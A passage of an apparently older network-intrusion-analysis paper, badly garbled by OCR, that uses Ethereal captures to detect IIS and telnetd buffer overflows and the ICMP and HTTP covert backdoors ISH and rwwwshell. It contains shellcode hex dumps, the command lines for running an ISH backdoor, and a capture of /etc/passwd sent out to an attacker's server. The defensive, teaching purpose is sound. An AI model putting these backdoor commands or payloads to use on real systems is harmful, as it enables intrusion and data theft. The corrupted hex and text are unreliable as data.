020 de fhb £3 fa d4 95 de e7 fo f4 el fO <5 e7 fa f6 ... ... .. ... ...,
02ed fo ed e6 dd 95 <5 fO f0o fe db 4 £8 0 f1 <5 fo o o . oo,
02fo es fo o5 d2 9 fa f7 f4 9 dd £9 9 fa 6 95 €2 . e iiin vevinenn
0300 e7 fc el fO d3 fc 9 fO 9% <7 fO f4 Ff1 d3 fo 9 L. oot
0310 fo 95 c6 f9 f0 fO 5% 95 do ed fo el <5 e7 fa f&6 ... ... .. ... ...,
0320 fO ed 26 95 dé 9 fa e6 foO dd f4 fh f1 fo fO 05 .. ... .. oo e...
0330 <2 6 da dé de a6 a7 9% <2 ¢ dd ch el 4 a7 el ... .. iih eeieann
0340 e0 e5% 95 es fa f6 fe fOo &l 95 fa6 f9 fa e6 fO 86 ... ... .. ..o,
0350 fa fa fe fo el 95 f6 fa fb fh fo f6 21 05 e6 fO .. ... .. oo ea..
0360 fhb f1 95 e7 f0 8 3 55 & f8 f1 bh 0 ed 0 95 ..o tivinnnn
0370 0d Da 48 6f 73 74 3a 20 45 45 45 45 45 45 45 45 ..Host: EEEEEEEE
0380 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEE EEEEEEEE
0390 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEE EEEEEEEE
03a0 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEE EEEEEEEE
03b0 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEE EEEEEEEE
03c0 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEE EEEEEEEE
03co 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEE EEEEEEEE
03ed 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEE EEEEEEEE
03f0 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEE EEEEEEEE
0400 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEE EEEEEEEE

Figure 18. Madified jill.c exploit

Y ou could start looking for a NOP value of 0x45, but your fighting alosing battle as | could once again
modify the exploit with another value. I’m not saying that looking for 0x90 or other “ standard” NOP is
bad; on the contrary, it will detect numerous intrusion attempts. Just be aware of your limitations. So
what is the best way to detect web based buffer overflows? Most HT TP requests should be under
approximately 800 bytes. Except many online web services like Hotmail exceed this value regularly.
Hey, maybe thisis a good way to detect misuse of company time. It's not that easy, as more and more
web sites are pushing this byte limit with extremely long URL’s. However, this method of protocol
analysis should not be ruled out, asit alows detection of even the most sophisticated hackers. Remember
when we were learning about Ethereal’ s filter rules and we made afilter for buffer overflows? Letstry it
out and see how effectiveitis. Figure 19, shown on the next page, shows the filtered outpui.
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@ enhanced_jillZ.raw - Ethereal - |I:I|5|

File Edit Capture Display Tools Help

Mo, . | Time Source Destination Protocaol | Info

10.1.1.50 10.1.1.10 HTTF SMULL. printer HTTR/S

-l =
| Frame & (1248 on wire, 1248 captured) Ij

| | =

PPl = I I L T ] I I T I e [ = el el el el el N el ] ] o ] ] ] J

0430 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEE EEEEEEEE
04b0 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEE EEEEEEEE
NDd4e0 45 33 00 bho an 03 R Rl 03 BRh 40 A0 33 dh b3 24 Fi...... - T T

Filter: |http.requeat and frame.pkt_len = 300 J Feset| Apply|| File: enhanced Jill2. raw

Figure 19. Filter eliminates extraweb traffic

The next buffer overflow we will analyzeisthe Telnetd ‘AYT’ overflow. I'll use code based on the
TESO crew exploit, to demonstrate what a “ heap-based overflow” 1ooks like and how to determineif an
exploit attempt was successful. The vulnerability liesin an unchecked buffer in the telnet option
handling. Inthiscase, by usingthe ‘AYT’, Are Y ou There option, you can actually get the system to
overflow itself. However, thereis not enough space to execute a shell because | can't hop back into the
buffer. Thetraditional stack overflow won't work, because jumping back to abunch of AYT’ swon't get
you anywhere. Thisiswhere the “heap-based overflow” comesin. The heap isan areain memory that is
dynamically allocated by an application when needed. This meansthat passwords, usernames, file
contents, etc. are al stored in heap memory somewhere. There are not as many exploits out for heap
overflows due to the complexity of exploiting them. When you think of the difference between heap and
stack, think dynamic and static (although thisis an oversimplification). Lets see how the exploit places
code in heap memory and then uses a stack overflow to point back to the shellcode in memory. As part of
atelnet connection there is the three-way handshake followed by the telnet server providing connection
parameters. The “Do Authentication” option, RFC 2941, lets the client know that authentication other
than clear text password login is possible. See Figure 20 below.

1 0.00010.1.1.50 10.1.1.10 TCP 32774 » telnet [SYN] Seqgs=
2 0.00010,1.1.10 10.1.1.50 TCP telnet > 32774 [SYM, ACK]
30,000 710,.1.1. 50 10.1.1.10 TCP 32774 > telnet [ACK] Seq=
4 0,050 10.1.1.10 0.1.1. 50 TELKHET Telnet Data ...

E M MmEMm1m 1 1 En A 1 1 10 TN bl B ) BT I 7= = R I Mo Tl B ="

B Telnet
Command: Do Authentication option
Command: will Echo
Command: Do Suppress Go Ahead
Command: Do Negotiate About window Size
Command: Do Binary Transmission
Command: will Binarwv Transmission

Figure20. Telnet Server connection options
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What the exploit now needsto do is place the NOPs and shellcode into memory. It attempts this by
asking to set a new encryption option.

Telnet
Command: Are You There?
Command: will output Line width
Command: will Encryption option

Figure21. Request from client

This particular exploit is designed for FreeBSD and NETBSD so it will typically fail against another OS
(Solaris, Windows). | am going to show an example of an unsuccessful attempt, as| am running this
exploit against a Windows 2000 telnet server. We don’t even have to wait until the end of Ethereal
output, as we already know that the attempt will be unsuccessful, as shown below.

Telnet
Cata: “ryn
Data: [Yes]%rsh
Command: Don't output Line width

Command: Don €T Encryption Option

Figure 22. Negativeresponsefrom Server

Sincethere is no place to put the NOPs and shellcode, the stack overflow (AYT) will have nowhereto
point to. Lets pretend that the server responded with “Do Encryption Option”. What then? We will have
about 500 bytes, in the Telopt_encrypt variable alocated in heap memory, to place our code. This code
will have to be placed continually (normally over 15MB of data) until the process freezes.

B Telnet
Bl suboption Begin: Mew Ervironment option
Here's my Mew Emvironment option

0130 43 98 90 37 f9 900 of f§ 98 37 99 4b 3f 42 90 OR e e o ETM..
0140 99 8 2f 98 45 of 27 fd of 98 3f f5 f8 f8 of f8 R e
0150 4d 2f fo 2f 37 2f 4d 3f 42 fo fo 43 fo o0 f5 2 M STME LS
010 3f 8 fd £8 f9 37 40 of F5 fd 90 @0 fd 958 9 5 T - N
Q170 GF 27 G0 oo o0 f8 2f 2f f5 98 f5 42 5 of oo f¢ N VA -
0180 27 3f oo oo £8 2f 3T 40 5 4d £8 37 45 8 fd 5 "TLLLTTE ML TE. ..
0lo0 37 fd fd f9 98 fc 458 99 90 90 2f fc fc f5 37 4e A He wofo o TH
0lag 3f of oo 27 fc fc 9o fo  3f 37 40 f5 o8 f5 fo 37 [
01lbo 2f 43 4d 27 f9 27 f8 f8 fc f8 2 f8 fc 43 fc 27 o .
0lco 27 2f o0 2f 37 fd 27 fd 3 fd 90 3f 27 27 of 98 YALAT L LT
0l 5 42 f5 fd £8 00 00 42 37 90 43 of 4bh 3 42 37 Baol.. BE 7.C.KYBET
0led 95 fc 3f 3f 4d 98 fc 99 37 27 42 f9 27 98 2f 40 LLTPTML L. FIBEL LT
01f0 4a 4k 90 40 of oF of 2f 00 G0 oo fo fo 00 42 o0 k&, .. ..., E.
0200 40 90 2f oo fc 0F 90 27 of 40 43 98 fd fd of bf = U Y - b I
0210 ee ee ee 08 b8 ff ff f8 ff ff 3¢ f7 do fd ab 312 ........ -
0220 <O 90 B0 93 ab fc ab hdO 3k 52 68 6e 2f 73 6B 68 ........ i RhnAshh
0230 %f %F 62 BO BO 232 52 52 B0 g1 52 51 53 ff £f d7 < I~ SR = o

Figure 23. NOPs and Shellcode placed in Telopt_encrypt variable
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Examine Figure 23. Do you notice anything strange about the Ethereal capture? Where are all of the
NOPs? What isthat weird looking n/shh//bi? Welcome to the wonderful world of polymorphic buffer
overflows. The shellcode has been modified to not look like /bin/sh, but still produce ashell. The NOPs
are there, but are carefully chosen to be non-standard and non-repeating. This just makes our job more
difficult. The next portion of the exploit is the stack-based overflow.

B Telnet
Command: Abort output
Command: will Encryption option
Command: Are vou There?
Command: Are vou There?
Command: Are vou There?
Command: Are vou There?

o040 adeb fEfS fE fh 26 ff faeff feff fe ff fa £f m.o.... Eoeeee
o050 fefffeff fe ff fe ff feff fe ff fe ff fe £F ... .. .......
ool fefffefffeff feff fefffefffeff fe £f ... ... ...,
oovo fefffeff faff feff fafffeff fa M foff ... coannt,
ooB0 fefffefffefffeff fefffefffe ff e £F ... ... ...,
oo fefffefffefffeff fefffefffeff et ... .. ...,
gpan fe fffefft feff fe ff fafffeff e - fe £f .....ovh oont
b fefffefffefffeff fefffefffe it fe £F ... ... .......
ey faefffefffefffaff fefffefffeff et ... o......
ooddy fe ff feff fe ff fe ff feff fe ff fe fE fe £ ... ... .......
e faefffefffafffaff fefffefffeaff et ... .......
oofo fefffefft feff fe ff fafffeff e - fe £f .....ovh oeant
o fefffefffefffeff fefffefffeff e f ... ... .......
0110 faefffefffeff feff fefffefffeff fe £f ... ... .......
oLz fefffeff fe ff fe ff fe ff fe fFf fe fF fe £ ... .. .......
0130 fefffefffefffe ff fhosff e LLo.... .

Figure24. AYT overflow with pointer to shellcode

Thisisredly easy to detect, as the attacker must use aseries of ‘AY T’ commands to cause the overflow.
Figure 25, on the following page, depicts an overview of the attack. | have removed numerous frames to
make the output more readable, but you can tell from the time that the overall exploit attempt lasted about
thirty seconds. Successful exploitation often takes a minute to several minutesto complete. Letsstep
through the network capture. Frames 9-12 contain the three-way handshake, 15 isthe server providing
connection parameters/options, in 16 the attacker acknowledges the servers packet, thenin 17 sends the
shellcode to be stored in heap memory. Between 0 and 30 seconds, the contents of frame 17 are
repeatedly sent to the server. Frame 18 contains the stack-based overflow, 19 isthe servers response to
theAYT commands. In asuccessful overflow, the server will only respond with an ACK packet. This
is due to the Telnet process crashing. Of course, in an unsuccessful exploit that also crashes the Telnet
daemon, you might have to look at another area of the Ethereal capture to determine the outcome. The
particular shellcode used, in this example, simply executes a remote shell during the same connection. It
is easy to determineif an intruder gained access to the box, because you will see commands being typed
followed by positive responses from the server. However, what if port-binding shellcode is used? If you
are unable to reach a conclusion as to outcome of an intruder’s attack, then it is necessary to immediately
do further analysis on the potential victim system. Is the victim running the same O/S that the attack
explaits, isit running a vulnerable version of the software, and isit patched? If you discover that the
system was actually vulnerable to the exploit and find a backdoor, then your job is easy.
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S 0,050 10,1.1.50 10.1.1.10 TCP 32775 > telnet [SvN] Seg=1
11 0.050 10.1.1.10 10.1.1.50 TCP telnet » 32775 [Svn, ACK]
12 0,050 10,1.1.50 10.1.1.10 TCP 32775 » telnet [ACK] seg=l
15% 0.05010.1.1.10 10.1.1.50 TELMET Telnet pata ...

16 0,050 10.1.1.50 10.1.1.10 TCP 32775 » telnet [ACK] seg=l
17 .08 10.1.1.50 10.1.1.10 TELHMET Telnet Data ...
18 30,70 10.1.1.50 10.1.1.10 TELHMET Telnet Data ...
19 30,70 10.1.1. 1.1, TELMET Telnet Data ...
20 30,74 10.1.1.50 10.1.1.10 TCP 32775 » telnet [ACK] Seq=l
21 34.44 10.1.1.50 10.1.1.10 TELMWET Telnet Data ...
22 34,800 10.1.1.10 10.1.1.50 TCP telnet = 32775 [ACK] Seqg=2
23 38.27 10.1.1.50 10.1.1.10 TELMET Telnet Data ...
B Telnet
Command: Don't Encryption option
Data: “r“n
Data: [ves]srwn
Data: “rwn
Cata: [ves]xwrwn
Cata: “rHwn

Figure25. Overview of unsuccessful Telnet ‘AYT’ buffer overflow

Y ou would probably want to rebuild the box, as you don’'t know exactly what the attacker has done. Now
there are excellent forensics techniques to determine what an intruder accomplished, but normally itis
better to “play it safe” and rebuild. The tricky situation is when you find nothing wrong at al on the
victim system, no sign of a backdoor, no rootkits, but you know the system was vulnerable. Once again,
just how risky do you want to be?

ICMP and Covert Backdoors

There are several ways that an intruder, after gaining access to your computer, can quietly continue to
keep control. Instead of obvious connections using FTP, SSH, or Telnet, an attacker might try something
more devious. Several tools have been designed to facilitate thistype of access. LOKI isan example of
sending encrypted transactions using either ICMP_ECHO / ICMP_ECHOREPLY or DNS namelookup
query / reply traffic. Another example is Mixter’s Q-Shell program that uses encrypted TCP commands
as part of ashell/port bouncer. A recent program currently in development, ICMP SHELL, issimilar to
LOKI inthat it uses ICMP tunneling to transmit its data. It offers more flexibility in the number of ICMP
types that can be used, but it currently does not support encryption. Covert communication can also
happen through HTTP, using atool like rawwwshell by THC. On abusy web server a sysadmin probably
wouldn’t notice the extra web traffic, and the firewall would have no effect since the program initiates the
connection. There are more sophisticated programs that are even harder to detect than the above-
mentioned tools, but thiswill give you a good introduction to how backdoors work.

Have you ever made the mistake of port scanning a system that was potentially compromised, but then
deciding everything was fine because you didn’t see any unusual ports open? A lot of people have. Lets
introduce the first of two tools we will examine using Ethered. Itiscaled ICMP SHELL (ISH) and was
written by [Peter Kidtykdfor Linux, BSD, and Solaris systems. It can use most ICMP types to execute
commands on aremote system. Before we look at a network capture of ISH traffic lets quickly examine
how normal ICMP Echo request/Reply packets should appear. ICMP isaNetwork layer protocol (layer
3) and isdefined by RFC 792. In it we see that ICMP Echo Replies should mimic arequest, with the only
changes being that the type code is now zero not eight, and the checksum will be recomputed. A typical
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size for ICMP Echo packetsis around 60-70 bytes. A reply should have the same size as a request.
Below is normal ICMP traffic.

0.1.1 0.1.1. TCMP Echo (pingl request
4 0.000478  10.1.1.5 10.1.1.50 ICMP Echo ping) reply
5 0.9593338 10.1.1.50 10.1.1.5 ICMP Echo (ping) request
6 0.993465 10.1.1.5 10.1.1.50 ICMP Echo ping) reply
71.994772  10.1.1.50 10.1.1.5 TiCMP Echo (ping) reguest

EFrame 3 (74 on wire, 74 captured)
B Ethernet II
M Internet Protocol, sre adde: 10.1.1.50 ¢10.1.1.500, Dst Addr: 10.1.1.5 (10.1.1.5)
B Internet Control Message Protocol
Type: § (Echo (ping) request)
Code: 0
Checksum: OxdaSc (carrect)
Identifier: 0x0200
Seqguence number: 01:00
Data (32 bytes)

0000 00 a0 cc 63 bO 32 08 00 45 29 52 d2 08 00 45 00 «..C.2.. F)....E.
0010 00 3c 01 0a 00 00 80 01 23 7f 0a 01 01 32 0a 01 aBooooao #0...2..
0020 01 0% 08 00 43 5c 02 00 01 00 61 62 63 64 65 65 cewe I L Labodef
Q030 67 68 69 6a 6b 6c B6d 6e &F 7O F1 72 F3 74 T3 FE6 ghijklimn opgrstuw
0040 F7 el 62 63 84 85 66 &7 G6E 60 wabcdefg hi

Figure 26. Normal ICMP Echo request/reply traffic

The lettersin the data portion are normal for awindows box “pinging” another system. Asyou can see,
onhe ping request gets one ping response. Now lets look at ISH traffic, Figure 27.

159 8. 430000 I L. L. 5 I L. L. 50 ICFP EChio LpgTng) Feply
147 26,430000 L1.1.5 1.1 TCMP { W
138 41.850000 10.1.1.50 10.1.1.5 ICMP Echo {ping) reguest
139 41.650000 10.1.1.5 10.1.1.50 ICMP Echo (ping) reply
140 41. 800000 10.1.1.5 10.1.1.50 ICMP Echo (ping) reply
141 44,210000 10.1.1.50 10.1.1.5 ICMP Echo {ping) reguest
o T W T B O ot I T T e T Y T B | C G I T B | Cm T RAr Felm S S ™ s T
e e TTMR TR TRAA

Type: 0 (Echo (ping) reply)

Code: 0

Checksum: 0x93d2 (correct)

Identifier: Ox5e02

Sequence number: FF:00

Data (108 bytes)
I
o000 08 00 46 29 B2 d2 00 a0 cc 63 h0 32 08 00 45 00 ..FJ).... .cC.2..E.
0010 00 88 00 <a Q00 00 40 01 63 F3 0a 01 01 0% 0a 01 ...... B, CS5.... ..

Q020 01 32 00 00 83 d2 Se 02 F7 00 00 QO 00 QO 00 0O c@Boooofa Wooooaao
Q030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ... ..o ceeeeaas

0040 00 00 00 00 00 00 3a 34 30 20 79 70 Ze 63 &6f e e dd 0 owpLCon
Q050 66 0a 2d 72 F7 2d FZ2 2d 2d 72 2d 2d 20 20 20 20 f.-rw-r- -r--
ooa0 31 20 72 6f 6fF F4 20 20 20 20 20 ¥2 &f &fF F4 20 1l root root
Q070 20 20 20 20 20 20 20 20 31 33 39 35 20 4d &1 72 1398 mar
0080 20 20 36 20 20 32 30 30 30 20 79 70 73 a5 72 Yo 8 200 0 ypsery
0090 2e 63 6f Ge 66 0a .conf.

Figure27. I1SH traffic (10.1.1.5 is compr omised)
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A sysadmin might not even notice anything peculiar about the above traffic. Especialy if thereisalot of
ICMP activity. However, if we are looking for something that is out of the ordinary we have just found it.
First thing we see isthat thereis not a oneto one ratio of ping requeststo replies. Some might pass this
off as “heavy traffic” where not al of the requests are getting through. However, if you look closdly, you
will notice that there are more replies than requests, which isn't normal. A hacker can get around this by
setting the ISH program on the compromised system to send an echo request in response to an echo reply.
That's hurts your brain if you think about it too hard. Then, of course the sysadmin will wonder, “Why
am | sending so many pings’. Other things that do not look “right” about this traffic are the size and
content of the datafield. Y ou shouldn’t see the words“root” being passed in the data portion.

How does the hacker install and run ISH? After compromising a computer, the intruder uploads the |SH
server and runsit. Inthe case for the Etherea capture shown below it would be:
bash# .Jishd -i 780 -t 14 -p 200

Now the hacker sets up a client on hig’her system: bash# ./ish -i 780 -t 13 -p 200 10.1.1.5
The — option which sets the identifier and the —p option which sets the packet size must be the same on
both client and server.

1 0.000000 10.1.1.50 10.1.1.5 ICMP Timestamp reguest
2 0.000000 10.1.1.5 10.1.1.50 ICMP Timestamp reply
3 0.010000 L1.1.5¢ Timestamp ;
4 4,520000 10.1.1.50 10.1.1.5 TCMP Timestampo reguest
Type: 14 (Timestamp reply)
Code: O
Checksum: Oxd4dSh (correct)
Identifier: Oxf80L1
Sequence number: 01:00
originate timestamp: 0
|
0000 08 00 46 29 BY d2 00 a0 cc 63 b0 32 08 00 45 00 LFJ.... LC 2L E.
0010 00 90 00 £3 00 00 40 01 63 42 0a 01 01 05 0a 01 ...... @, cB......

0020 01 32 0e 00 4d Sh 8 01 01 00 OO 00 00 00 00 00 R
o030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ......0h cuveaaan
0040 00 00 00 00 00 00 F5 69 &4 3d 30 28 72 6Ff 6F 74 ..., ui d=0froot
0050 2% 20 6F 6% 64 3d 30 28 72 af of 74 29 20 &7 72 3 gid=0¢ rootl gr
o050 &F 75 70 73 3d 30 28 72 6f 6F 74 29 2c 31 28 &2 oups=0¢r oot),1lch
0070 65 6e 20 2c 32 28 &4 61 &5 6d &6F 6e 29 2c 33 2B in),2(da emonl, 3¢
D080 T3 70 Y3 29 2c 34 28 61 64 6d 29 2c 36 28 64 69 S{Sj,4(a dml, 6(dd
00590 73 6b 29 2c 31 30 28 77 6B 65 65 6C 29 0a sk2,100w heell.

Figure28. ISH ICMP Timestamp option

So how do you go about detecting and stopping malicious ICMP activity? One techniqueisto look for a
“string” or hex value that should not be found in the data portion. Also, examining the total size of the
packet is useful against programs whose data content exceeds the typical ICMP length. Of course other
methods must be used to detect encrypted communication that has correct checksums, identifiers, packet
length, and sequence numbers. The best solution is disallowing ICMP types that aren’t required at border
routers, and preventing or detecting the initial compromise.

An attacker can control even computer systems that are behind a well-configured router, firewall, and
proxy server. Granted, it will be difficult for the intruder to place the backdoor on the compromised
system, but it is possible. An example of atool that can allow an intruder to control such systemsis
rwwwshell. Created in 1998 by van Hauser (member of “The Hacker's Choice” group), the Perl script
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initiates an outbound connection to the hacker’s system that is running a server listening on the chosen
port. If anyone, besides the rwwwshell client (which is the same script as the server) connectsto the
intruder’s server it will respond with a404 File Not Found Error.  So what does the client-server

communication look like?

3 0.000000 10.1.1.5 10.1.1.50 TCP 1031 > BOBO [SYN] Seq=2839850262 ack=0 win=3212
4 0.000000 10.1.1.50 10.1.1.5 TCP B0B0 » 1031 [5¥N, ACK] Seq=3756008545 Ack=283C08
5 0.000000 10.1.1.5 10.1.1.50 TCP 1031 » 8050 [ACK] Seq=2839350263 Ack=3758008546
6 0.000000 10.1.1.5 10.1.1.50 HTTR GET Sfcoi-binsorder?nagisagcajvrCdtttz HTTR/L. 0
7 0.000000 10.1.1.50 10.1.1.5 TCP BOBO > 1031 [ACK] Seq=3736005546 Ack=2833850311
B 6.5%0000 10.1.1.50 10.1.1.5 HTTP Continuation

5 6.5%0000 10.1.1.50 10.1.1.5 TCP B0B0 > 1031 [FIN, ACK] Seq=3756008560 Ack=28308
10 6.5%90000 10.1.1.5 10.1.1.50 TCP 1031 » B080 [ACK] Seq=2839850311 Ack=3756005550
11 &.5%0000 10.1.1.5 10.1.1.50 TCP 1031 > 8080 [ACK] sSeq=2839850311 Ack=37356008361
12 7.&600000 10.1.1.5 10.1.1.50 TCP 1031 > BOBC0 [FIN, ACK] Seq=2839850311 aAck=375860

Figure29. Compromised system initiates connection to hacker’s server

The client (10.1.1.5) establishes the connection with the attacker’s computer. This alows the attacker to
bypass normal firewall and proxy server rules. After the three-way handshake is complete, the client
sends the initial “authentication” information using a form of uuencoding as a configurable GET request.
Now the hacker sees the root shell and issues the “who” command using a HTTP continuation request.

The client sends the requested information in the next GET request, shown in Figure 30.

10 6, 590000 10.1.1.5 10.1.1.50 TCP 1031 > B080 [ACK] Seq=283G8C
11 6. 590000 10.1.1.5 10.1.1.50 TCP 1031 > 8080 [ACK] Seq=28358°
12 7.000000 10.1.1.5 10.1.1.50 TCP 1031 » 8080 [FIW, ACK] Seq=:
13 7.a00000 10.1.1.50 10.1.1.5 TCP BOB0 » 1031 [AcK] Seq=37560C
14 12.020000 10.1.1.5 10.1.1.50 TCP 1032 » BOBO [S¥N] Seq=285547
15 12.620000 10.1.1.50 10.1.1.5 TCP BOB0 > 1032 [S¥N, ACK] Seqg=:
16 12.620000 10.1.1.5 10.1.1.50 TCP 1032 » BOBO [ACK] Seq=285547
17 12.620000 10.1.1.5 10.1.1.50 i D1 nsorder YManssaba
158 12.620000 10.1.1.50 10.1.1.5 TCP BOB0 » 1032 [ACK] Seq=37811°
19 22.760000 10.1.1.50 10.1.1.5 HTTF Continuation

20 22.7a0000 10.1.1.50 10.1.1.5 TCP BDBD > 1032 [FIN ACkK] seq=:

¥ ¥

Bl Hypertext Transfer Protocol

GET Scgi-binSorder?magssabaHdfrPIRfvpTdstrdsgTabgdstrdsgus7drdldrk3dzk3c

0000 08 00 46 29 82 d2 00 a0 << 63 b0 32 08 00 45 00 LFOLLL.
0010 00 be 01 1b 40 00 40 06 22 &7 0a 01 01 05 0a (1 R - -
0020 01 32 04 08 1f 90 aa 33 17 le ed 2e bd &F 80 18 a@ooooa 3
0030 Fd 78 3d bf 00 00 01 01 08 0a 00 22 48 Sh 00 1f G T
0040 12 8b 47 45 54 20 2f 63 67 69 2d 62 69 6e 2f &f L LGET S

0050 72 64 65 72 3F 4d 61 67 35 53 61 62 61 48 66 50 rder?Mag
goE0 49 52 66 56 YO 54 &4 V3 OV4 72 64 V3 V1 54 61 62 IRTwpTds
gov0 44 51 64 V3 V4 V2 64 F30OV1 V6 38 3V 64 T2 64 acC Dodstrds
Q08B0 34 72 6b 33 34 5a 6b 33 &4 Ge 6a 46 FO 4 61 73 drk34zk3
0050 74 72 Fa 3T 64 T3 V4 F2 6l 62 31 59 6b 42 74 72 trz?dstr
00ad &4 73 74 72 33 36 6F 52 &4 73 74 55 64 6c 64 50 dstr3Gor
00b0  2e 43 &4 56 73 48 63 41 Ba 56 T2 43 64 T4 74 74 LCdvsFCA
00O Fa 20 48 54 54 50 2f 31 Ze 30 0a 0a Z HTTR/1

Figure 30. Client respondswith therequested data

H[..
g1 b1nﬁn
bsabaHfP
trodsgTakb
WwETOrd]
njFpoas
abl¥kEBEtr
dstudldp
jvrcdttt
L0
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The data requested was fairly small, but what if the password file or alarge directory islisted? This

resulting GET request will be very large and should throw up ared flag. The next request | send is*cat
[etc/passwd”, shown in Frame 8, Figure 31. When the compromised system returns the contents of the

password fileit isafairly large GET request.

8 6.520000 10.1.1.50 10.1.1. 5 Continuation
9 &, 530000 10.1.1.50 10.1.1.5 TCP 8080 > 1031 [FIN, ACK] Se
10 6.520000 10.1.1.5 10.1.1.50 TCP 1031 > 8080 [ACK] Seg=283
11 6.520000 10.1.1.5 10.1.1.50 TCP 1031 > 8080 [ACK] Seqg=283
12 7.600000 10.1.1.5 10.1.1. 50 TCP 1031 » BOBO [FIN, ACK] se
13 7.600000 10.1.1.50 10.1.1.5 TCP BOBO > 1031 [ACK] Seg=375
14 12.620000 10.1.1.5 10.1.1.50 TCP 1032 > BOBO [SYN] Seq=285
15 12.620000 10.1.1. 50 10.1.1.5 TCP 8080 > 1032 [5¥N, ACK] se
16 12.620000 10.1.1.5 10.1.1.50 TCP 1032 > 8080 [ACK] Seg=28%
17 12.620000 10.1.1.5 10.1.1. 50 HTTP GET /cgi-binforder?magsisa
[ |
2020 01 05 1f 90 04 07 of e 24 62 a% 44 ad 47 80 18 ........ $h.0.G
030 16 a0 9 OF 00 00 01 01 08 0a 00 1F 10 30 00 22 v evernrn vrnn. )
040 43 6d 64 61 67 35 53 &1 62 61 48 66 50 48 74 7a  cmdagSsa baHfPHE
B Frame 28 (1036 on wire, 1036 captured)
HEthernet II
HInternet Protocol, Src adde: 10.1.1.5 (10.1.1.57%, Dst adde: 10.1.1.50 (1C
[
QOO0 0B 00 46 20 B2 d2 00 a0 <c 63 b0 22 08 00 45 00 LFOL L. c.2..E
0010 03 fe 01 21 40 00 40 06 1f a4l 0a 01 01 05 0a 0l B I = N
0020 01 32 04 09 1f 90 ak 2a of 33 el dF e3 11 80 18 e LA S
00320 Fd FE C1 ¢/ Q0 00 01 01 08 Qa 00 22 4e ac 00 1f | . A | N
0040 18 dd 47 45 54 20 2f 63 67 69 2d 62 69 ge 2f &f ..GET /c gi-binso
0050 72 84 65 72 3 4d 81 67 35 53 6l 67 Fa 41 81 73 rder?mag S5Saguvhas
0060 74 4F 30 37 31 42 2b 57 FH 48 38 36 31 4f B/l 50 TO971LC+w wHSR1oaP
QO70 49 52 66 56 F0 54 Ze 42 30 51 63 6T 45 4b 30 46 IRFVpT.B OQCOEKOF
Q080 28 56 65 34 Y0 /Y B3 AcC Ba 54 BE 26 FO0 63 6h 48 Svedpgc] jThepckF
0090 4d 4b Fa 4d 61 44 55 58 31 33 41 49 36 48 Ad 51 MEZMAaDx 134T 6FmQ
00ag 34 57 fa 50 36 6c Ad Sa 6b 33 ad 5§ 76 53 &4 Sa dwirelmz k3mvvsdz
00bo 6b Bc 48 50 Ze 23 44 50 2e 33 48 57 2e 42 54 51 kTHY.3DY .3HwW.EBTQ
00co 2e 42 54 51 Ze 43 6d 53 A Bc 34 53 Ze 33 A4 56 LEBTG.Cms wlds., 3dv
0odo Fa 4d4d Z2e 74 49 42 65 36 53 Sa e 43 48 51 &b 33 ZM. TIBeS =ZhnCHok3
00ed 28 57 6b 33 48 50 Ze 43 44 50 22 33 44 50 2o 43 Bwk3IHP.C Dv.3Dv.C
0ofo Ba 5a Ze 43 48 e 39 57 6T 45 66 356 FO de Ze 42 jZ.CHN9g oEfBpN. B
0100 48 5a 6b 323 6d 56 76 52 ad Sa &b 6c 48 59 Fa 4d HZk3mvws mZk THY ZM
0110 2e 33 44 59 Ze 33 48 57 2e 43 48 5a 73 46 af 44 L 3DY . 3HW (CHZsFoD
0120 66 323 45 4a Z2e 43 6d 51 76 43 6a 51 Ze 43 74 5a f3H1. Cm vCjo.Ctz2
0130 2Z2e 33 44 59 2e 33 44 5a Vo 53 48 Sa Z2e F2 49 4dc . 30%. 302 wSHZ.rIL

Asyou can see, detecting a hidden backdoor can be difficult (and these are very primitive in function).
Covert Shells, by J. Christian Smith, is an excellent article that reviews some common backdoors and

Figure31. Abnormal GET request delivers/etc/passwd

ways to detect them. | encourage you to read this article and some of the links to get a better
understanding of this threat (http://rr.sans.org/covertchannels/covert shells.php). The best defense

is configuring your network and securing your systems to make compromise very difficult. If an attacker
does manage to gain access, then early detection is once again the second best alternative.
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Interpreting NetBIOS/SM B Traffic

NetBIOS and Server Message Block traffic (also known as Common Internet File System (CIFS)) is one
areathat is not looked at in much detail. Itisusualy very difficult if not impossible to determine exactly
what an intruder has done, without using Ethereal or Netmon. | will try to explain alittle more in depth
on how NetBIOS/SMB operate, how to spot brute forcing, IPC$ connections, successful logins, and
common Windows hacking tools. There are many good tutorials out there on hacking NT/2000 so |
won't repeat everything they say, but | will include some of them as areference.

| am going to address two areas in this section. First, I'll cover regular NetBIOS traffic, SMB traffic, and
alittle theory on how the protocols work. During the sametime I'll throw in practical examples of what
commands are being issued and how the resultant traffic readsin Ethereal. Thisisnot atutoria on
Ethereal itself, but even with a basic understanding of the tool it should not be too difficult to follow.
Lastly, I will cover some common ways of hacking Windows using NetBIOS and SMB.

There are severa very good references at the end of this paper. | encourage you to read thefirst few and
use the others as areference when you encounter strange hex codes or SMB names that you are
unfamiliar with. | tried not to get bogged down too much with every technical detail of NetBIOS and
SMB. Those details are in the references.

DISCLAIMER: Thisisjust areminder, once again, to not use any of thisinformation for illegal
purposes. Use thison atest network at home or in the lab.

Part |: Normal NetBIOS Traffic:

Here is an example of what connecting to a remote share looks like.

My computer is Bongo (10.0.0.50) and | want to access one of Testman’s (10.0.0.100) shares. Thereisa
file on one of the shares, but | don’t remember which one or the name so | have to start from scratch.

NOTE: Since | am running these sniffer traces and connections on the same network the traffic is going
to look dlightly different than from a normal user (or attacker) connecting acrossthe Internet. However,
the principles are the same.

First | query 10.0.0.100 to obtain information about the computer:

¢\ nbtstat —A 10.0.0.100

Thisreturns, on the initiating display, the output shown on the next page.
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Local Area Connection:
